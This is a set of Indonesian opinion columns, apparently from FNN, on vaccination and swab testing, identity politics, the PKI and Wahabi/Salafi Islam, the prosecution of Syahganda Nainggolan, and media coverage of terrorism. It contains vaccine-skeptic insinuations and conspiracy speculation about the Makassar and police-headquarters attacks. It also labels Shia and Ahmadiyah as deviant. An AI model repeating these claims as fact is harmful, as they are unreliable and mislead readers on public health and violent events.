T. Kuru (2019), profesor ilmu politik San Diego State University, asal Turki, bahwa “aliansi ulama dan intelektual dengan negara” menjadi faktor utama keterbelakangan dunia Islam, sejak abad 12, seperti kemiskinan, ketimpangan, korupsi, spiral kekerasan dan otoritarianisme. Sebagai negara berpenduduk Muslim terbesar dunia, Indonesia kini menjadi contoh sempurna dari temuan riset Kuru. Penulis adalah Ketua Dewan Pengurus Institute for Democracy Education (IDe) Pegiat Demokrasi Sosial dan Anti-Korupsi

Sudah Divaksin Kok Masih di-Swab

"SAYA sudah dua kali divaksin. Tetapi, tetap saja di-swab," kata Ketua Dewan Perwakilan Daerah Republik Indonesia (DPD RI), AA LaNyalla Mahmud Mattalitti dalam perbincangan dengan wartawan FNN.co.id, Sabtu, 3 April 2021. Dalam pandangan senator asal Jawa Timur itu, kalau sudah divaksin, mestinya tidak perlu di-swab lagi. Akan tetapi, kenyaataannya berbeda. Sebagai pejabat tinggi negara, hampir setiap hari ia tetap di swab, terlebih lagi jika berkunjung ke daerah. Secara berkelakar ia menyebut, swab itu tetap harus dilakukan sampai anggarannya habis. Sebab, tes swab itu juga bisnis yang menghabiskan anggaran negara yang tidak sedikit. Ya, apa yang disampaikan dan dirasakan LaNyalla itu merupakan salah satu bukti, vaksinasi tidak menjamin setiap orang aman dari Coronavirus Disease 2019 (Covid-19). Nyatanya, jumlah yang terpapar corona masih terus bertambah setiap hari. Vaksinasi yang diperkirakan menghabiskan dana Rp74 triliun (anggaran tahun 2021) tidak menjamin seseorang tidak tertular Covid-19. Bahkan, berdasarkan berita, beberapa orang yang baru selesai divaksin sakit, dan kemudian meninggal dunia. Pandemi corona adalah sebuah ladang bisnis yang menguntungkan. Anda bisa bayangkan, untuk setahun saja dana vaksin mencapai Rp74 triliun lebih. Angka tersebut diperkirakan masih kurang. Nilai Rp74 triliun baru dana vaksin yang digratiskan kepada 182 juta orang atau 70 persen dari total penduduk Indonesia. "Sesudah Presiden menetapkan vaksinasi gratis, anggaran bisa mencapai Rp74 triliun untuk vaksinasi, belum bicara tentang masalah kesehatan lainnya," kata Menteri Keuangan Sri Mulyani, di Jakarta awal Januari 2021 yang lalu. Total anggaran penanganan Covid-19 dan Pemulihan Ekonomi Nasional (PEN) sebesar Rp409,9 triliun masih bisa berubah. Alasannya, tantangan penanganan Covid-19 dan usaha pemulihan ekonomi masih sangat dinamis. Pandemi corona telah menjadi malapetaka bagi dunia. Virus yang berasal dari Wuhan, RR China itu telah membunuh jutaan manusia di dunia. Perekonomian hancur-hancuran karena resesi. Pergaulan sosial kemasyarakatan menjadi renggang karena terbatasnya saling mengunjungi. Anak-anak usia sekokah, terutama di daerah terpencil yang tidak terjangkau jaringan internet menjadi bodoh. Akan tetapi, masih ada usaha yang dapat meraup keuntungan, yaitu industri atau bisnis yang bersentuhan dengan kesehatan. Industri yang membuat vaksin salah satunya. Apalagi, industri vaksin tersebut mendapatkan order dari pemerintah. Berdasarkan hitungan kasar atau orang awam saja, jika 2,5 persen saja menjadi keuntungan dari anggaran Rp74 triliun, Anda bisa bayangkan nilainnya berapa. Itu angka minimal. Dalam dunia bisnis, keuntungan itu bisa 10 sampai 20 persen. Jadi, wajar saja vaksinasi itu diwajibkan.secara paksa kepada rakyat. Padahal, sebenarnya tidak harus semua divaksin dari total 182 juta jiwa itu. Akan tetapi, karena pemerintah sudah terlalu dini.memesannya, maka tidak ada cara.lain, vaksin harus dihabiskan. Oleh karena itu, keheranan LaNyalla yang sudah divaksin dua kali, tetapi tetap di swab test masuk akal. Mestinya, orang yang sudah divaksin mestinya lebih merdeka dari Covid-19. Nyatanya, jauh panggang dari api. Entah hal itu karena harus menghabiskan dana yang digunakan untuk membeli peralatan swab, atau tenaga kesehatan juga ragu akan hasil vaksin itu. Semua masih menunggu kepastian dari serba keraguan. **

Politik Identitas, Mengapa Dipersoalkan?

by Tony Rosyid Jakarta FNN - "Jangan pilih calon yang nggak qunut". Ini politik identitas bukan? "Jangan pilih calon yang nggak ziarah kubur?". Ini jelas-jelas narasi politik identitas. Hal yang seperti ini lumrah terjadi di kampung saya Jawa Tengah, dan tempat saya pernah kos di Jawa Timur. Lucunya, para politisi yang teriak seperti inilah yang sering mempersoalkan politik identitas. Satu sisi mereka mempraktekkan politik identitas. Sementara disisi lain mereka mengutuknya. Semacam ada kemunafikan ganda dalam diri para politisi ini. Preferenai sosiologis adalah fakta yang ada dalam masyarakat. Dan seringkali gaungnya membesar ketika musim pemilihan umum. Ini natural, dan berlaku di sepanjang sejarah perpolitikan Indonesia. Orang Nahdlatul Ulama (NU) pilih calon dari NU. Disini Partai Kebangkitan Bangsa (PKB) selalu dapat limpahan suara terbanyak dari warga NU. Orang Muhammadiyah pilih calon dari Muhammadiyah. Partai Amanat Nasional (PAN) yang paling banyak menikmatinya. Orang Himpunan Mahasiswa Islam (HMI) pilih kader HMI. Orang Gerakan Mahasiswa Nasionalis Indonesia (GMNI) pilih kader GMNI. Begitu juga dengan Ansor dan Pergerakan Mahasiswa Islam Indonesia (PMII). "Al-ijtima' dharuriyun linauil insan", kata Ibnu Khaldun. Solidaritas adalah keniscayaan sosial. Apakah berbentuk mekanik atau organik. Solidaritas sosial akan selalu ada di sepanjang sejarah, kata Emile Durkheim. Lalu apa masalahnya? Itu baru bicara ormas. Belum lagi bicara etnis. Terutama saat pilkada, "putra daerah" seringkali menjadi isu utama dalam ritual demokrasi lima tahunan. Setiap daerah merasa nyaman dengan dipilih oleh putra daerahnya. Satu etnis, satu budaya dan satu bahasa. Nggak usah heran jika Umat Islam pilih calon muslim seperti yang terjadi di wilayah Jawa. Umat Kristiani pilih calon Kristen, seperti yang terjadi di Papua dan Menado, Umat Hindu pilih calon dari Hindu sebagaimana yang terjadi di Bali. Selama ini, pilihan politik semacam ini dianggap wajar dan diterima oleh masyarakat sebagai bagian dari kewajaran sosiologis. Solidaritas sosial akan selalu ada, dan terbentuk secara natural sesuai ikatan dan kekuatan hubungan yang terjadi di kelompok-kelompok masyarakat tersebut. Tanpa disuruh sekalipun, sudah terjadi secara alami. Sehingga tidak perlu untuk dipersoalkan lagi. Solidaritas sosial itu bisa agama, bisa etnis, bisa daerah, bisa organisasi atau profesi. Mereka yang menyoal politik identitas umumnya karena tak memiliki identitas yang kuat. Atau berada dalam kelompok minoritas yang tak bisa memberi dukungan suara signifikan untuk menang dalam pemilihan. Cara efektif untuk meruntuhkan kekuatan lawan adalah dengan mengutuk politik identitas, agar solidaritas kelompok pendukung lawan bisa beralih suaranya. Disini, isu politik identitas dimainkan. Dan yang paling sensitif dari isu identitas itu adalah agama, kemudian etnis. Politik identitas bukan harga mati, kemutlakan politik, dan satu-satunya penjamin kemenangan. Banyak kasus dimana calon dari kubu mayoritas dikalahkan dalam pemilihan oleh calon dari kelompok yang minoritas. Faktor kekuatannya ada pada prestasi. Idealnya, calon terpilih adalah yang paling berprestasi. Jika prestasinya bagus, dan sudah mendapat pengakuan masyarakat, maka politik identitas tidak terlalu efektif lagi pengaruhnya. Politik identitas hanya berpengaruh jika para calon yang beekompetisi tidak mampu menunjukkan prestasi yang kuat dan menonjol. Secara teoritis, politik identitas hanya bisa dinetralisir pengaruhnya dengan kekuatan prestasi. Jika anda punya prestasi yang diterima publik, maka akan banyak kelompok yang memberikan simpati. Tanpa menyoal identitas, anda akan mendapatkan dukungan dari banyak kelompok tersebut. Lintas agama, lintas etnis, lintas profesi dan lintas golongan. Sekat-sekat identitas itu hanya akan terbuka pintunya dengan prestasi. Kasus kekalahan Ahok di pilgub DKI, jangan kambinghitamkan politik identitas. Sebab, dua gubernur sebelumnya yaitu Fauzi Bowo dan Jokowi terpilih menjadi Gubernur di DKI tak bisa lepas dari faktor identitas. Seandainya Fauzi Bowo bukan Betawi dan Jokowi bukan Jawa, mungkinkah terpilih jadi gubernur? Berat juga! Di Pilgub DKI 2009, Fauzi Bowo menang. Saat itu basis analisis saya tertumpu pada preferensi sosiologis, dimana Fauzi Bowo Betawi-Jawa dan NU. Selain faktor incumbent (Wagub) dengan dana dan jejaring yang lebih kuat. Begitu juga dengan Jokowi. Jawa dan didukung PDIP (partai terbesar di DKI), selain ada heroisme Mobil Esemka dan punya profil antitesa incumbent. Jadi, bukan karena prestasi spektakuler yang membuat mereka menang. Jadi, tak perlu menyoal dan mempermasalahkan politik identitas. Soal ini justru memicu kegaduhan. Menciptakan keterbelahan dan konflik di masyarakat. Kasihan rakyat yang sudah menderita akibat pandemi covid-19. Selalu menjadi obyek adu-domba para perebut kekuasaan. Kalau anda selalu sibuk menyoal politik identitas, boleh jadi, selain identitas anda tidak kuat, mungkin karena prestasi anda juga tidak bisa diandalkan. Minimnya prestasi mendorong para calon bertumpu dan mengandalkan politik identitas, atau mengutuk politik identitas bagi-bagi reziki yang tidak memiliki kekuatan identitas. Cukup tunjukkan prestasi diri, kerja yang bagus, program yang menyentuh dan bisa dirasakan langsung. Setidaknya dianggap mampu menjadi solusi oleh rakyat, maka secara alamiah, rakyat (lintas sektoral) akan memberi dukungan. Jika anda punya prestasi cemerlang, bersikap tidak sektarian, nggak terikat dengan fanatisme kelompok, maka batas-batas identitas akan dengan sendirinya terbuka untuk anda. Cukup dengan prestasi begitu saja, rakyat tidak lagi melihat anda dari kelompok mana? Dari agama dan etnis apa? Yang rakyat lihat hanya prestasi anda. Bukan yang lainnya. Makanya bekerja yang baik-baik. Perlihatkan keberpihakan kepada rakyat. Hilangkan pemikiran mengadu-domba rakyat hanya untuk kepentingan politik jangka pendek. Sebab bisa kualat lho. Emha Ainun Najib, Arif Budiman, Anies Baswedan adalah beberapa nama yang tidak memerlukan identitas kelompok. Tetapi mereka adalah orang-orang yang punya dedikasi, sibuk dengan berkontribusi dan memberikan prestasinya untuk bangsa ini. Tidak terus bermimpi menjadi orang besar dengan memperkosa identitas kelompok, atau sebaliknya. Tidak juga sibuk dengan mengutuk sana kutuk sini politik identitas. Karena itu yang biasa-biasa saja hidup, tumbuh dan berkembang di tengah-tengah masyarakat kita. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

PKI Itu Bencinya Kepada Wahabi dan Salafi

by M. Rizal Fadillah Bandung FNN - Pluralisme pemahaman keagamaan adalah hal yang wajar sepanjang berbasis pada sumber nilai Al-Qur'an dan Al-Hadits. Bila sudah keluar dari kedua nilai tersebut, maka berlaku interelasi antar agama. Dalam beragama, yang sama tetapi meyakini dan mendakwahkan bahwa Al Qur'an tidak orisinil seperti faham Syi'ah atau ada nabi setelah Nabi Muhammad Sallaahu Alaihi Wasallam seperti Ahmadiyah, maka itu dikategorikan menyimpang atau sesat. Syi’ah dan Ahmadiyah bisa juga disebut menodai agama. Wahabi adalah pengikut Syekh Abdul Wahab yang menjadi dasar pemahaman keagamaan yang berkembang di Saudi Arabia. Bersumber dari madzhab Hambali. Salah satu pijakan madzhab utama selain Syafi'i, Hanafi, dan Maliki. Sementara Salafi itu adalah pengikut ulama-ulama terdahulu, para ulama Salaf. Seperti Imam Bukhori, Imam Muslim, Imam Abu Dawud, Imam At-Tirmidzi, Imam An Nasa-i. Mereka para Imam ini adalah sebagian dari ulama salaf. Tentu Salafi memiliki cabang pemahaman yang tidak satu pula. Benci pada Wahabi dan Salafi sama saja dengan benci pada yang berbau Arab. Itu juga artinya benci kepada daerah dimana Islam lahir dan tumbuh. Tempat Nabi Muhammad Sallaahu Alaihi Wasallam dan para Sahabat mengembangkan agama Islam. Dimulai di masa awal hingga agama yang hanif ini diterima dan dijalankan di Indonesia. Benci kepada Arab atas nama nasionalisme, kulturisme, atau etnosentrisme sesungguh adalah kebencian yang bukan saja tidak berdasar. Tetapi juga sebagai wujud dari kejahilan yang radikal. Adalah partai Komunis Indonesia (PKI) yang anti Arab dan pro Cina atau Rusia. Anti terhadap agama. Namun pro kepada komunisme-materialisme. PKI yang menyebut hal-hal berbau Arab dan Islami sebagai Kadrun. Sebutan sinis untuk Kadal Gurun. Bahkan PKI itu lebih dalamnya dipastikan sangat anti kepada Wahabi dan Salafi. PKI yang menuduh dan memfitnah agama sebagai candu, sehingga agaman harus dijauhi. Inilah perjuangan revolusi mental PKI yang hakekatnya mengindikasi adanya gangguan mental. Jika ada sebagian kaum Wahabi atau Salafi yang menyimpang, maka itu adalah prilaku oknum. Demikian juga dengan yang mengklaim Ahlus Sunnah wal Jama'ah, namun juga menyimpang. Kalau ada, maka itu juga oknum. Kalau ada yang menyimpang, maka harus diluruskan. Bukannya dibenci. Apalagi sampai mau dibasmi segala. Dimusuhi dan dituduh ini dan itu. Berlebihan jika menyebut Wahabi atau Salafi sebagai pintu masuk terorisme. Sebab terorisme bisa masuk dari tradisionalisme, konservativisme, modernisme, materialisme, liberalisme, dan lainnya. Menurut dosen filsafat Universitas Indonesia Rocky Gerung, ketidakadilan dan kezoliman juga menjadi faktor tumbuh dan suburnya terorisme. Banyak faktor penyebab tumbuh dan suburnya terorisme. Baik itu yang bekaitan dengan masalah ekonomi, doktrin keagamaan, hingga permainan politik jahat yang merekayasa dalam rangka adu domba antar masyarakat. Stigmatisasi yang dibangun untuk meracuni fikiran jernih dan kohesivitas. PKI dahulu dan kelompok "PKI" kini memainkan siasat memecah belah umat Islam dengan memojokkan faham keagamaan tertentu. Serangan pada Wahabi dan Salafi menjadi arus utama propaganda tersebut. Isu ini menjadi bola mainan PKI yang sangat digemari dan dinikmati demi menciptakan hantu bernama radikalisme, ekstrimisme, maupun fundamentalisme. Wahabi dan Salafi bukan pintu masuk terorisme. Pengikutnya yakin seperti pengikut faham keagamaan lain dalam Islam , bahwa memahami agama seperti ini menjadi jalan untuk masuk Surga. Keyakinan itu karena menjalankan Al Qur'an dan Sunnah Rosul. Pintu masuk terorisme dapat juga dari dogmatisme, aroganisme, sinisme dan fulusisme. Yang terakhir ini adalah makna bahwa teror yang dilakukan itu sangat berhubungan dengan bantuan keuangan untuk diri dan keluarga. Atau paket proposal untuk proyek strategis. Termasuk biaya-biaya untuk mengarang cerita. Fulusisme dapat berskala nasional atau internasional. PKI yang berprinsip menghalalkan segala cara demi tujuan tercapai, akan menjadikan aspek keagamaan sebagai permainan. PKI telah membuktikan dalam sejarahnya sebagai partai teroris. Baginya Wahabi dan Salafi ringan saja dapat dijadikan bahan semburan fitnah. Demi sukses mencapai tujuan. Sukses klaim kebenaran. Sukses membuat hantu. Sukses untuk memperoleh dana operasional dan fee kesuksesan. Fulusisme adalah terorisme yang paling berbahaya dan berdaya ledak tinggi. Penulis adalah Pemerhati Politik dan Kebangsaan.

Gawat, JPU Dr. Syahganda Diduga Buta Sejarah UU No. 1/1946

AKAL sehat kita terseret jatuh terjerambab ke dalam tumpukan sampah. Apalagi mendengar tuntutan Jaksa Penuntut Umum (JPU) terhadap kasus Dr. Syahganda Nainggolan. Tuntutan itu benar-benar menggelikan. Bobot kekonyolannya benar-benar mampu membuat kerbau ikut merendahkan kita. Kerbau, andai bisa berbicara, mungkin akan mengatakan “memang kalian bangsa manusia, bisa berperilaku lebih hina dibanding aku yang tak berakal”. Coba wahai bangsa manusia, gunakan saja sedikit akal kalian. Buka saja sedikit mata hati kalian lalu bandingkan kasus Syahganda itu dengan kasus Ahok, Wakil Gubernur Jokowi sebelum Jokowi jadi Presiden itu. Dia menistakan agama Islam. Agama yang Allah Subhanahu Wata’ala ridhoi untuk dianut umat manusia. Penistaan itu Ahok melakukan dengan terang-terangan. Namun hebatnya Ahok mampu menyangkal bahwa yang dilakukan bukan hal nista. Ahok Dituntut 2 Tahun Percobaan Tuan Jaksa Penuntut Umum (JPU), kalian jangan pura-pura lupa. Karena jejak kasus penistaan Agama Islam oleh Ahok itu masih segar untuk diingat ummat Islam hingga kini. Ummat Islam harus menyingsingkan lengan baju ketika itu untuk mendatangi Presiden, dan mendesaknya menegakan hukum untuk Ahok. Itulah yang dilakukan ummat Islam melalui peristiawa 411 dan peristiwa 212. Hanya untuk menegakan hukum kepada Ahok. Semua rakyat negeri ini tau kalau Ahok itu temannya Presiden Jokowi. Untuk itu, 5-7 jutaan ummat Islam harus turun ke jalan mendesak Jokowi melepaskan belengggu diskriminasi hukum untuk ummat Islam, yang berseberangan dengan Presiden. Berhasil desakan ummat Islam? Hanya sebagian yang berhasil. Sebab dinding diskriminasi begitu kuat. Kokoh sekokoh Gunung Lawu. Diskriminasi itu bekerja melalui tuntutan Jaksa Penuntut Umum. Ahok hanya dituntut oleh JPU dengan hukuman perjara percobaan selama dua tahun. Pemerintah, entah apa yang menyebabkan,bersedia mempertontonkan diskriminasi hukum dengan sangat telanjang, setelanjang-telanjangnya usai majelis hakim mengetuk palu vonis. Ahok dihukum penjara dua tahun. Tetapi masya Allah, untuk membawa Ahoik ke penjara saja susahnya minta ampun. Kita tahu diskriminasi hukum yang diperagakan dengan telanjang oleh pemerintahan Jokowi adalah membawa Ahok ke Rutan Mako Brimob Kelapa Dua. Ahok tidak ditaruh menjalani hukuman penjara selama dua tahun di pejara Cipinang sampai masa tahanannya selesai. Ini diskriminasi, keangkuhan dan kekonyolan hukum pemerintahan Presiden Jokowi. Berhentikah dengan bersikap diskriminasi itu. Sialkah itu? Tidak juga. Pemerintahan Jokowi seolah-olah memberi pesan kepada bangsa ini bahwa “saya ini Presiden”. Saya yang memegang kendali penuh atas hukum. Terserah saya. Jadi jangan coba-coba main politik kasar dengan saya. Kalau anda kasar, bisa saja saya penjarakan. Saya tak peduli dengan ini dan itu. Kalau mau kritik silahkan kritik. Tetapi kalau saya tersinggung, anda bisa habis. Jangan macam-macam sama saya. Kira-kira begitulah pesan penting dibalik tuntutan Jaksa terhadap Dr. Syahganda Nainggolan. Jokowi Tidak Berkeringat Dr. Syahganda Nainggolan, salah satu pejuang terdepan melawan kekuasaan Orde Baru, yang pernah dijebloskan rezim Soeharto ke penjara ketika masih mahasiswa Intitut Teknologi Bandung (ITB) kini dituntut 6 tahun penjara oleh Jaksa. Waraskah itu? Ya kita hanya bisa mengasihani JPU itu, karena mendapat tugas “harus memastikan Dr. Syahganda Nainggolan dituntut seberat-beratnya”. Presiden Jokowi silahkan menuntut Dr. Syahganda dengan tuntutan yang seberat-beratnya. Itu dapat dipahami, karena Pak Jokowi tidak berkeringat sebagai pejuang melawan kesewenang-wenangan Orde Baru. Pak Jokowi itu hanya menjadi penikmat kekuasaan Orde Baru yang diperjuangan Dr. Syahganda dan teman-teman aktivis pro demokrasi lainnya, dimulai sejak Malari 1974 sampai Reformasi 1998. Perjuangan kekuasaan otoriter dari tahun 1974-1998 itu, tidak ada jejak keringat Pak Jokowi. Mungkin malah Pak Jokowi sedang menikamati kediktatoran Orde Baru. Misalnya, sedang menjadi karyawan di BUMN, PT Kertas Kraft Aceh. Yang ditempatkan di area Hutan Pinus Merkusi di Dataran Tinggi Gayo, Aceh Tengah. Atau lagi menjadi karyawan CV Roda Jati, milik paman Pak Jokowi, Pak Miyono. Mungkin Pak Jokowi lagi asyik-asyiknya menikmati dan membangun usaha mebel sendiri, CV Rakabu. JPU pasti tak berdaya untuk menuliskan lain dari yang sudah ditulis dalam tuntutan mereka. Coba anda bayangkan, DR. Syahganda didakwa menyebarkan berita bohong, yang menimbulkan keonaran. Tuduhan ini mengacu pada pasal 14 dan 15 UU Nomor 1 Tahun 1946. Tetapi lucu, aneh bin ajaib, kalau perbuatan Dr. Syahganda dinilai memiliki bobot merobohkan kekuasaan. Pasal 14 dan 15 UU Nomor 1 Tahun 1946 Tentang Peraturan Hukum Pidana yang dituduhkan kepada Dr. Syahganda itu, tidak ada satu kata pun yang bicara roboh-merobohkan kekuasaan. Tidak ada itu. Jangan menghayal dan ngigau tuan. Hanya orang ngawur, tolol, bodoh, dengki, picik, culas, sombong, angkuh saja yang mampu bilang ada kata roboh-merobohkan kekuasaan. Hanya orang-orang yang berpredikat hukum picisan, kerdil, odong-odong, kaleng-kaleng dan beleng-beleng saja yang kebetulan belajar ilmu hukum di pinggir jalan, got dan gorong-gorong yang berbau busuk saja yang bilang pasal 14 dan 15 itu ada kata roboh-merobohkan kekuasaan. Pasal 14 ayat (1) UU Nomor 1 Tahun 1946 itu isinya begini, “barang siapa, dengan menyiarkan berita atau pemberitahuan bohong, dengan sengaja menerbitkan keonaran dikalangan rakyat, dihukum dengan hukuman penjara setinggi-tingginya sepuluh tahun”. Coba jelaskan, mana kata-kata yang bilang roboh-merobohkan kekuasaan wahai tuan-tuan JPU? Pasal 15 hanya berisi satu ayat. Isinya begini, “barang siapa menyiarkan kabar yang tidak pasti atau kabar yang berlebihan atau yang tidak lengkap, sedangkan ia mengerti setidak-tidaknya patut dapat menduga, bahwa kabar demikian akan atau mudah dapat menerbitkan keonaran dikalangan rakyat, dihukum dengan hukuman penjara setinggi-tingginya dua tahun”. Keonaran Itu Harus Nyata Tuan JPU, coba tolong tuan jelaskan sekali lagi, mana kata-kata roboh-merobohkan kekuasaan dalam pasal ini? Konyol bangat dong tuan, kalau ada kata-kata dalam pasal-pasal itu dinyatakan mengandung maksud roboh-merobohkan kekuasaan. Sesat dan kerdil sekali model pemahaman hukum seperti tuan ini. Kalau boleh tau, kira-kira tuan belajar ilmu hukum di planet mana ya? Unsur delik dalam pasal-pasal itu, salah satunya adalah “menimbulkan keonaran” di kalangan rakyat. Keonaran itu, kalau tuan benar-benar belajar ilmu hukum pidana, harus nyata-nyata ada. Itu present. Bukan prediksi, mimpi dan hayalan dari tuan JPU. Onar itu harus nyata-nyata membahayakan. Bahasa kerennya itu “present danger” ada dan nyata di kehidupan rakyat. Masa harus diajarin lagi tuan JPU? Tidak bemaksud menggurui tuan JPU, cuma onar itu harus nyata-nyata merupakan akibat langsung, atau keadaan yang dihasilkan langsung dari berita bohong atau berlebihan. Pasal 14 ayat (1) itu benar-benar bersifat delik materil. Ini bukan delik formil tuan JPU. Delik materil itu adalah delik yang bertumpu pada akibat. Logikanya begini “kalaupun ada perbuatan, tetapi akibat dari perbuatan itu tidak timbul atau tidak terjadi, maka tidak ada itu pidana”. Begitu cara memahaminya tuan. Ah, masa seperti begitu harus diajarin lagi? Kaya tuan masih menjadi mahasiswa Fakultas Hukum. Jangan-jangan mahasiswa lebih capat faham dari tuan. Tuan JPU, gaduh itu sudah sifat bawaan, tabiat asli dari demokrasi. Kalau mau demokrasi, anda harus terima kegaduhan sebagai ciri yang melekat di dalamnya. Tetapi mengapa pasal 14 dan 15 itu memuat “keonaran” sebagai hal yang terlarang? Masa yang kaya gitu saja tuan JPU tidak paham? Kasian amat negara ini. Menggaji orang yang kemungkinan saja tak terlalu paham sejarah dan sebab-musabab dari lahirnya sebuah UU, yang melekat di dalamnya karakter dan ciri dasar demokrasi. Apa tuan JPU, dan mungkin juga hakim yang menyidangkan perkara ini tahu asbab al wurudz lahirnya pasal 14 dan 15 UU Nomor 1 Tahun 1946 itu? Mengapa hal alamiah dalam demokrasi, dilarang oleh UU Nomor 1 Taun 1946? Mikir dong tuan-tuan. Pakai otak dikit dong tuan-tuan. Jangan dungu dong tuan-tuan. Belajar dan baca mengapa UU itu dibuat dong tuan-tuan. Jangan asal main bilang onar-onar saja dong tuan-tuan. Wahai banga Indonesia, ingatkah berita bahwa Presiden Jokowi pada tahun 2016 pernah mengatakan ada uang miliki masyarakat yang disimpan di luar negara sebesar “ Rp. 11.000 trilun”? Datanya sudah di kantong saya. Uangnya masyarakat yang mana? Dimana saja uang itu ditaruh? Bagaimana rinciannya? Sudah dibawa kembali ke Indonesia uang Rp. 11.000 triliun itu? Kalau sudah, lalu bagaimana pembukuannya? Mau tanya tuan JPU, ini kualifikasi berita benar, bohong atau berlebihan? Apapun itu, Jokowi tidak bisa dituntut dengan pasal 14 UU Nomor 1 Tahun 1946 itu. Mengapa? Karena tidak menimbulkan kegaduhan apa-apa. Keagaduhan akibat dari perbuatan itu tidak terjadi, sehingga secara pidana tidak bisa dituntut. Kalau menjadi Jaksa, harusnya pahami itu dong. Tan Malaka Yang Berbohong “Merdeka atau mati” itulah suasana bathin rakyat Indonesia pada waktu UU Nomor 1 Tahun 1946 itu dibentuk. Tahu kapan UU itu diundangkan? UU itu diundangkan pada tanggal 26 Februari 1946. Praktis 3 (tiga) hari setelah Kabinet Sjahrir I demisioner atau dua hari sebelum kabinet Sjahrir dua memulai proses pembentukannya. Baca, kenali dan pelajari itu tuan Jaksa. Jangan asal saja. Apa tuan JPU tahu kalau pemerintah Indonesia ketika itu tidak hanya menghadapi keculasan sekutu? Indonesia menghadapi NICA sebagai kepanjangan tangan Pemerintahan Belanda, plus KNIL pasukan bersenjatanya. NICA dan KNIL, dari ke hari, siang-malam memburu siapa saja yang bela kemerdekaan, lalu rakyat dicecekoki NICA dan KNIL dengan berita bohong itu? Apa jadinya kalau begitu? Apa tidak logis pemerintah saat itu membuat larangan yang tercantum dalam pasal 14 dan 15 UU Nomor 1 Tahun 1946 tersebut? Jangan main bilang terbukti saja dong. Sekutu waktu itu tidak pernah mau menyebut “Jakarta.” NICA dan KNIL hanya mau menyebut “Batavia”. Pakai otak sedikit dong untuk mikir dan belajar tuan. Jangan kelihatan ooon gitu dong. Malu ah tauuuu. Kalau tuan JPU mau sedikit membaca lembaran sejarah kehadiran NICA dan KNIL, maka ditemukan Bung Karno, Bung Hatta, dan Perdana Menteri Bung Sjahrir, diberitakan oleh Tan Malaka ke mana-mana di Jawa bahwa mereka bertiga telah ditawan Sekutu. Perbuatan Tan Malaka ini jelas bohong yang menimbulkan keonaran. Bohong yang seperti inilah yang dimakud oleh pasal 14 dan 15 UU Nomor 1 Tahun 1946 itu. Bukan menyebarkan hasil analisis tentang RUU Omnibus Law Cipta Kerja sebagai hal bohong. Presiden Jokowi boleh saja membenci Dr. Syahganda yang terkenal sebagai aktifis kritis terhadap pemerintahan anda. Namun Presiden tidak boleh membiarkan dirinya ditandai rakyatnya dalam sejarah sebagai orang yang kerdil. Hanya karena rakyat negeri ini menemukan nuansa diskriminasi yang telanjang dalam penegakan hukum terhadap Dr. Syahganda Nainggolan. Hanya kebencian dan kekerdilan yang menjadi justifikasi terbesar untuk mengatakan perbuatan Dr. Syahganda Nainggolan itu salah. Hanya itu saja. Tidak ada yang lain. Secanggih apapun argumen dibalik alasan, tidak cukup untuk mengatakan Dr. Syahganda bersalah. Pak Presiden Jokowi, cukup sudah praktek-praktek diskrminasi hukum di negeri tercinta ini. Pak Presiden sudilah untuk berbesar hati, tampil megambil langkah terhebat menghentikan diskriminasi ini. Sebab di ujungnya, anda bakal dikenang sebagai orang hebat, top markotop dan mengagumkan.

Ketika Media Mainstream Menjadi Terorisme Masyarakat

by M. Rizal Fadillah Bandung FNN - Terorisme menjadi isu paling hangat saat ini. Terutama setelah tanda kutip saya, terjadinya bom bunuh diri di Gereja Katedral Makassar, serangan teroris di Markas Besar Polri, dan temuan bom buku di Melawai. Entah besok atau kapsan saja kemungkinan ada lagi temuan terhadap aksi-aksi teror yang dikutuk oleh manusia berakal sekat dan semua anak bangsa. Persoalan yang muncul adalah ketidakjelasan atas kasus yang sebenarnya terjadi. Ketidakjelasan ini bisa terjadi akibat ulah dari pemberitaan media yang tidak obyektif. Tidak melakukan investigatif atas fakta dari berbagai aspek di lapangan. Namun ikut-ikutan menghakimi dengan framing yang subyektif. Benarkah itu adalah bom bunuh diri? Atau mungkin karena ketidaktahuan terhadap barang bawaan yang sedang dibawa. Kemudian barang bawaan tersebut diledakkan melalui remote control oleh orang yang memegang kontrol dari jarak jauh? Benarkah itu wanita yang berbusana muslimah itu beraksi untuk membunuh para polisi di Mabes Polri? Jangan-jangan wanita tersebut sedang linglung, terhipnotis, dan terjebak dalam permainan airsoft gun? Benarkah pula buku teror intelijen bertuliskan “Majalah Sabili” yang ditemukan di kawasan Melawai tersebut diletakkan oleh teroris atau oleh intel, bahkan mungkin saja intel jadi-jadian ? Semua butuh investigasi yang obyektif dalam pemberitaan, investigative news. Tulisan lama dari saudara Usep Asroel tahun 2018 berjudul "Framing Media" sangat menarik untuk dibaca, ditelaah, dan diviralkan ulang kembali. Usep Asroel menulis tentang seorang laki-laki di Amerika melihat seekor harimau hendak menyerang wanita. Lak-laki tersebut bergerak menolong dan membunuh harimau itu. Esoknya media ramai-marai menulis dan memberitakan "Pahlawan Amerika menyelamatkan seorang gadis dari serangan harimau". Laki-laki itu meralat pemberitaan media, "saya bukan orang Amerika". Hari berikut media menulis, "pahlawan asing menyelamatkan seorang gadis dari serangan harimau". Besok lagi, laki-laki yang terlanjur dibilang pahlawan itu berkata, "sebenarnya saya seorang muslim". Hari betikutnya, Breaking News di media ramai. Isianya "seorang teroris menyerang harimau yang tak bersalah, karena sedang bermain dengan seorang wanita". Begitulah framing media yang bukan saja terjadi di Amerika, namun di Indonesia pun sama. Umat Islam yang dicitrakan radikalis, intoleran dan teroris. Pada dua kasus belakangan ini juga serupa. Bagaimana diedarkan seorang lelaki bersorban dan wanita berhijab berboncengan menuju Gereja dan meledakkan diri. Sebutan media adalah teroris bom bunuh diri. Dikait-kaitkan dengan organisasi teroris Jamaah Ansarul Daulah (JAD) yang tak jelas juntrung organisasinya seperti apa. Demikian pula dengan kasus wanita berjilbab yang menerobos Mabes Polri lalu mengacungkan pistol, lalu diembak mati. Media arus utama dengan cepat menyebut dan memberitakan kalau teroris menyerang Mabes Polri. Telah terjadi baku tembak antara polisi dengan teroris di Mabes Polri. Teroris berhasil ditembak mati oleh polisi. Kalau hanya membaca berita arus utama media, maka terkesan hebat sekali. Padahal dengan melihat tayangan CCTV yang sengaja dipublikasi di media sosial (medsos), wanita berjilbab tersebut seperti bingung. Bolak-balik tak jelas tujuannya. Media pada hari berikut menulis tentang teroris lonewolf. Bahaya teroris perorangan. Seram sekali framing media. Secara tidak langsung sebenarnya media telah ikut melakukan teror kepada publik tentang "pesan palsu" yang dikandung dari misi aksi-aksi tersebut. Media yang diduga telah terkooptasi oleh kekuasaan, 